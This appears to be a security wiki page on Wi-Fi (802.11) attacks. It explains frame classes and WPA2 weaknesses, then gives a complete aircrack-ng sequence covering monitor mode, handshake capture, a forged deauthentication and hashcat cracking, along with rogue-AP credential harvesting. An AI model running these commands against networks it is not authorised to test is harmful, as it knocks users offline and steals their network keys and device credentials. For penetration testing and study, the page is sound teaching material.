Wiki / Protocols

Wi-Fi (802.11)

Wireless LAN standard: capture handshakes, crack keys, and stand up rogue APs.

wifi 80211 wpa deauth aircrack hashcat monitor
802.11 frame types
802.11 frame
Management
beacon / probe
auth / deauth
Control
RTS / CTS / ACK
Data
payload (EAPOL)
802.11 frames split into three classes. Management frames (beacon, probe, auth, deauth) run the association state machine and are unauthenticated on open/WPA2 networks, which is what makes deauth and rogue-AP attacks possible. Control frames coordinate medium access; Data frames carry the payload, including the four EAPOL messages of the WPA handshake.

Wi-Fi (IEEE 802.11) is the wireless LAN standard that carries frames over the 2.4GHz and 5GHz (and now 6GHz) bands. For an attacker the prime surface is the management frames and the WPA handshake: the first because they are unauthenticated on most networks, the second because it can be captured off the air and cracked offline.

What it is

An 802.11 network is a set of stations sharing a channel, coordinated by an access point (AP) identified by its BSSID (the AP's MAC) and advertising a human-readable SSID in beacon frames. Every frame belongs to one of three classes (see the diagram): management (beacon, probe request/response, authentication, association, deauthentication), control (RTS, CTS, ACK, which arbitrate who transmits), and data (the actual payload). To see any of this you put a capable adapter into monitor mode, which surrenders normal connectivity in exchange for capturing every frame on a channel, not just those addressed to you.

Why it matters

IoT and consumer devices auto-join Wi-Fi and frequently hardcode or weakly protect credentials. Three facts drive most attacks. First, on WPA2-Personal the entire session key is derived from the passphrase plus values exchanged in the clear during the 4-way handshake, so a captured handshake is crackable offline at your leisure. Second, deauthentication frames are unauthenticated (before 802.11w Protected Management Frames), so anyone can forge them to knock a client off and force a fresh, capturable handshake. Third, devices probe for and will silently rejoin known SSIDs, so a rogue AP with the right name can capture the device or its onboarding secrets.

How to attack it

The classic aircrack-ng flow, from monitor mode to a cracked key:

# 1. Put the adapter into monitor mode.
sudo airmon-ng start wlan0                 # creates wlan0mon

# 2. Survey nearby APs and clients (BSSID, channel, ESSID).
sudo airodump-ng wlan0mon

# 3. Lock onto the target channel and capture to a file.
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w cap wlan0mon

# 4. Force a client to reconnect so you catch the 4-way handshake.
sudo aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF wlan0mon

# 5. Crack offline (WPA2). hashcat mode 22000 is the modern path.
hcxpcapngtool -o hash.22000 cap.pcapng
hashcat -m 22000 hash.22000 wordlist.txt

For IoT onboarding abuse, stand up a rogue AP with hostapd (or hostapd-mana / an evil-twin framework) advertising the SSID the device expects, and harvest the credentials or provisioning traffic it hands over. hcxdumptool can also capture PMKID directly from some APs without any client present.

Pitfalls

  • Not every adapter supports monitor mode and injection. Chipsets vary widely; verify with aireplay-ng --test before blaming the target.
  • WPA3-SAE and PMF (802.11w) defeat the old playbook: SAE resists offline dictionary attacks, and Protected Management Frames block deauth. Many networks are transitional (WPA2/WPA3 mixed), so check what is actually in use.
  • Cracking is only as strong as the wordlist. A captured WPA2 handshake with a long random passphrase is effectively uncrackable; the attack is against weak passwords, not the protocol.
  • Transmitting deauth and running rogue APs is active and disruptive, and regulated. Stay on your own network and hardware.

Further reading